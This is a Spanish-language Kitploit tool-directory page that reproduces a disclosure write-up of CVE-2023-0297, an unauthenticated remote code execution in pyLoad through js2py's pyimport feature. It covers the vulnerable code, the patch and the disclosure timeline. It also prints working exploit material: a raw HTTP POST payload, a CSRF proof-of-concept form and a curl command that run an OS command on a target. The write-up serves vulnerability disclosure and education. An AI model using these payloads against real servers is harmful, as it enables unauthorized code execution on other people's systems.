Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-0297_Pre-auth_RCE_in_pyLoad — CVE-2023-0297: La historia de encontrar RCE pre-autenticación en pyLoad | Kitploit
Herramientas/GitHubGitHub/bauh0lz/cve-2023-0297_pre-auth_rce_in_pyload
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubbauh0lz/cve-2023-0297_pre-auth_rce_in_pyload

CVE-2023-0297_Pre-auth_RCE_in_pyLoad

CVE-2023-0297: La historia de encontrar RCE pre-autenticación en pyLoad

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
2810hace 3 añosRevisado por Kitploit

CVE-2023-0297: RCE sin autenticación en pyLoad

La historia de encontrar RCE sin autenticación en pyLoad

TL;DR

Una vulnerabilidad de inyección de código en versiones de pyLoad anteriores a 0.5.0b3.dev31 conduce a una RCE sin autenticación abusando de la funcionalidad de js2py.

Puedes encontrar el informe aquí y el código de explotación aquí.

Detalles

pyLoad es un gestor de descargas de código abierto escrito en Python y gestionable a través de interfaz web. Su repositorio de GitHub tiene aproximadamente 2.8k estrellas al 9 de enero de 2023.

Mientras auditaba el código fuente de pyLoad, el siguiente código me llamó la atención:

cnl_blueprint.py#L124

root@kitploit:~
    jk = eval_js(f"{jk} f()")

La definición de la función eval_js es la siguiente:

misc.py#L25-L27

root@kitploit:~
def eval_js(script, es6=False):
    # return requests_html.HTML().render(script=script, reload=False)
    return (js2py.eval_js6 if es6 else js2py.eval_js)(script)

eval_js(f"{jk} f()") utiliza la funcionalidad de js2py que ejecuta código JavaScript f"{jk} f()" donde el parámetro jk se pasa a través de un parámetro de solicitud:

cnl_blueprint.py#L120

root@kitploit:~
    jk = flask.request.form["jk"]

Por lo tanto, puedes ejecutar código JavaScript arbitrario solicitando el endpoint.

Sin embargo, ¿cómo se puede abusar de esto? Dado que en el contexto de js2py.eval_js() no están definidos ni XMLHttpRequest, fetch ni require (como en node.js), por lo que SSRF o la lectura de archivos locales no son posibles.

Después de pasar algún tiempo, encontré una funcionalidad interesante de js2py:

sentencia pyimport

root@kitploit:~
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:

>>> x = """pyimport urllib;
           var result = urllib.urlopen('https://www.google.com/').read();
           console.log(result.length)
        """
>>> js2py.eval_js(x)
18211
undefined

Al usar esta funcionalidad, ¡puedes usar bibliotecas de Python en el contexto de js2py.eval_js()! Sorprendentemente, pyimport está habilitado por defecto. :o

Probé un código simple que ejecuta un comando del sistema operativo usando pyimport:

root@kitploit:~
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory

$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'

$ ls /tmp/pwnd
/tmp/pwnd

Como se esperaba, ¡se ejecutó touch /tmp/pwnd!

Al enviar la siguiente solicitud, ocurriría lo mismo en el host objetivo:

root@kitploit:~
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa

La parte ;f=function%20f2(){}; en el parámetro jk es necesaria porque este endpoint ejecuta eval_js(f"{jk} f()"). Si no está presente, el código inyectado no se ejecutará debido al error name 'f' is not defined.

Ten en cuenta que no hay cookie ni token CSRF en la solicitud. Esto significa que:

  • Un atacante no autenticado que pueda acceder al host objetivo es capaz de ejecutar RCE.
  • Incluso si un atacante no puede acceder al host objetivo, puede engañar a una víctima que sí pueda acceder para que ejecute RCE mediante un ataque CSRF:
root@kitploit:~
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://<target>/flash/addcrypted2" method="POST">
      <input type="hidden" name="package" value="xxx" />
      <input type="hidden" name="crypted" value="AAAA" />
      <input type="hidden" name="jk" value="pyimport&#32;os&#59;os&#46;system&#40;&quot;touch&#32;&#47;tmp&#47;pwnd&quot;&#41;&#59;f&#61;function&#32;f2&#40;&#41;&#123;&#125;&#59;" />
      <input type="hidden" name="passwords" value="aaaa" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Código de Exploit

root@kitploit:~
curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://<target>/flash/addcrypted2'

Parche

Simplemente deshabilitar la funcionalidad pyimport.

misc.py

root@kitploit:~
 import js2py
 
+js2py.disable_pyimport()

Cronología

  • 2023-01-02: Reportado a huntr.dev
  • 2023-01-04: Vulnerabilidad verificada
  • 2023-01-04: Vulnerabilidad corregida e informe publicado
  • 2023-01-14: ID de CVE asignado

¡Gracias al equipo de huntr.dev y al mantenedor de pyLoad por las respuestas rápidas!

Descargar herramienta